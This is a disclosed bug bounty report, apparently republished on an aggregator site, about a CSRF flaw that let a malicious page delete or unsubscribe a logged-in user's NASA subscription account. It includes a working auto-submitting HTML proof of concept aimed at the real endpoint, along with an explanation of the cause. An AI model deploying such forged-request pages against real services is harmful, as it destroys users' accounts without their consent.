Skip to content
CSRF Disclosed report Beginner

Critical CSRF Vulnerability Exploiting Account Deletion on NASA Subscription Service

The NASA Subscription Service accepted a POST request that unsubscribes or deletes a user's subscription without any CSRF token or password confirmation. An attacker could make a logged-in victim's account be deleted by getting them to load a malicious page that auto-submits the form.

wbossw Follow

Originally disclosed on Bugcrowd

  • Accepted in 3 days
  • Fixed in 56 days
  • Disclosed after 3 months

Summary by wbossw

Summary by wbossw:

A Cross-Site Request Forgery (CSRF) vulnerability was identified in the NASA Subscription Service that allows an attacker to trigger account deletion requests on behalf of authenticated users without their consent. Due to the absence of CSRF protections and password confirmation, an attacker can force a victim’s account to be permanently deleted simply by visiting a malicious webpage while logged into the platform.

Code used for the exploitation of the vulnerability:

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PoC CSRF - NASA - wbossw</title>
</head>
<body>
    <h1>CSRF PoC - NASA - wbossw</h1>
    <form action="https://pds.nasa.gov/datasearch/subscription-service/nu_unsubscribe_response.cfm" method="POST" id="csrfForm">
    </form>
    <script>
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

I am proud to be able to say the following sentence. I have found a security flaw at NASA, we will see you soon wbossw

The original report as published on Bugcrowd, by wbossw. Images and videos are our own copies; raw HTML is shown as text. View it on Bugcrowd.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the unsubscribe endpoint performed a state-changing action on a POST request without a CSRF token or re-authentication check.

Impact

A logged-in victim who visits a malicious page could have their subscription or account permanently deleted without consent.

What the attacker needed

Victim logged into the service; victim visits attacker page

How it was found

  1. While logged into the NASA Subscription Service, open an attacker-controlled page.
  2. The page contains a form that posts to the unsubscribe endpoint.
  3. The page's script submits the form automatically.
  4. The victim's subscription/account deletion request is processed without their consent.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you are logged into a site, your browser automatically sends your session cookie with every request to that site. Cross-site request forgery (CSRF) tricks your browser into sending a request the site trusts, because it comes from your logged-in session. Here the unsubscribe/delete action had no extra check, so a page on another site could trigger it silently.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More from National Aeronautics and Space Administration (NASA) - Vulnerability Disclosure Program

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.